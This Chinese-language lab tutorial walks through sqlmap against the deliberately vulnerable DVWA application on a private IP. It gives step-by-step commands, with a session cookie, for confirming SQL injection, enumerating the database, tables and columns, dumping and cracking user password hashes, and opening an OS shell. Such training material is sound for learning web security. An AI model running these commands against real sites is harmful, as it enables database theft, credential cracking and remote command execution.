这里仅仅使用 SQL Injection 模块的low等级进行演示说明sqlmap注入的基本过程和步骤,高级用法可以参考官方手册继续挖掘。
输入框输入数字1,之后得到提交参数后存在注入的URL路径:
http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
使用firebug获取登陆后的cookie值,
security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n
之后对下面的URL和cookie进行替换为上面的到的值。
第一步:
对需要登陆才可以访问的路径需要带上cookie对URL进行注入判断
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n"
![](/upload/attach/201803/201803151539_KRXSY2VPSJEY85C.jpg)
存在注入且得到数据库版本和操作系统信息
第二步:
–-current-db 获取数据库名称
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" --current-db
![](/upload/attach/201803/201803151539_FCH9NPHBHZNMXHS.jpg)
得到数据库名为DVWA
第三步:
DVWA是上一步获取的数据库名称,--tables是对数据库表名进行枚举
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" -D dvwa --tables
![](/upload/attach/201803/201803151539_R9ZF9MPTXFT8ZBH.jpg)
第四步:
获取到上一步的到的users表名后,在用--columns对表中的列进行枚举
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" -D dvwa -T users --columns
![](/upload/attach/201803/201803151539_UD5KS83M7BTQYQ3.jpg)
第五步:
获取user表中的name和password字段
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" -D dvwa -T users -C user,password --dump
如果此时得到的密码为密文,SQLmap会自动询问,是否爆破,选择“是”即可开始使用SQLMAP自带的字典进行爆破。
第六步:
获取shell,选择后台语言:
sqlmap -u "http://192.168.66.92/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=g3l2gi8djomhlrlf14ha9eku2n" --os-shell